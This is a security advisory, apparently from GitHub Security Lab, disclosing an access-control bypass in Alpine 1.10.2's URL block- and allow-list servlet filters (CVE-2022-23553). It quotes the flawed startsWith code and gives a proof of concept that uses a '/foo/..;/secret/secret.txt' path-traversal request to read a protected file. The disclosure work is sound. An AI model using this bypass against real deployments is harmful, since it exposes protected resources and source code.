Coordinated Disclosure Timeline

Summary

URL access filters (block and allow list) are subject to be bypassed

Product

Alpine

Tested Version

1.10.2

Details

Issue: URL block/allow lists bypass (GHSL-2021-1009)

Alpine offers two Servlet filters to control the access to different resources based on the visited URL: BlacklistUrlFilter and WhitelistUrlFilter. Both of them compare the request URI to the list of allowed or blocked URLs using the String’s startsWith method.

BlacklistUrlFilter

        final String requestUri = req.getRequestURI();
        if (requestUri != null) {
            for (final String url: denyUrls) {
                if (requestUri.startsWith(url.trim())) {
                    res.setStatus(HttpServletResponse.SC_FORBIDDEN);
                    return;
                }
            }
            for (final String url: ignoreUrls) {
                if (requestUri.startsWith(url.trim())) {
                    res.setStatus(HttpServletResponse.SC_NOT_FOUND);
                    return;
                }
            }
        }

WhitelistUrlFilter

        final String requestUri = req.getRequestURI();
        if (requestUri != null) {
            boolean allowed = false;
            final String requestUrlExcludingContext = requestUri.substring(req.getContextPath().length());
            for (final String url: allowUrls) {
                if (requestUrlExcludingContext.equals("/")) {
                    if (url.trim().equals("/") || (url.trim().equals("/index.jsp")) || (url.trim().equals("/index.html"))) {
                        allowed = true;
                    }
                } else if (requestUrlExcludingContext.startsWith(url.trim())) {
                    allowed = true;
                }
            }

This approach is insecure since the request URI contains the raw and non-canonicalized version of the URI such as /allowed/..;/blocked. For that particular URI, if the allowlist filter is configured to only allow access to URIs starting with /allowed, it will permit the access to /allowed/..;/blocked, but later, this URI will get resolved to just /blocked

Impact

This issue may lead access control bypasses and may enable to leak source code (when protecting application code on executable WAR files)

PoC

  1. Clone the Alpine example application
  2. Add a secret folder to /example/src/main/webapp/ with a secret file (eg: /example/src/main/webapp/secret/secret.txt)
  3. Enable a block list to deny access to /secret/*:
     <filter>
       <filter-name>BlacklistUrlFilter</filter-name>
       <filter-class>alpine.filters.BlacklistUrlFilter</filter-class>
       <init-param>
         <param-name>denyUrls</param-name>
         <param-value>/secret</param-value>
       </init-param>
     </filter>
     
     <filter-mapping>
       <filter-name>BlacklistUrlFilter</filter-name>
       <url-pattern>/*</url-pattern>
     </filter-mapping>
    
  4. Start the example application: mvn clean package -Pembedded-jetty ; java -jar target/example-embedded.war
  5. Access the secret file. You should receive a 403 forbidden response:
    ❯❯❯ curl -v http://localhost:8080/secret/secret.txt
    *   Trying ::1...
    * TCP_NODELAY set
    * Connected to localhost (::1) port 8080 (#0)
    > GET /secret/secret.txt HTTP/1.1
    > Host: localhost:8080
    > User-Agent: curl/7.64.1
    > Accept: */*
    >
    < HTTP/1.1 403 Forbidden
    < Date: Thu, 23 Sep 2021 16:24:21 GMT
    < Content-Length: 0
    <
    * Connection #0 to host localhost left intact
    * Closing connection 0
    
  6. Access the secret file as ``:
    ❯❯❯ curl "http://localhost:8080/foo/..;/secret/secret.txt"
    SUPER_SECRET_FILE
    

    CVE

    • CVE-2022-23553

Credit

This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2021-1009 in any communication regarding this issue.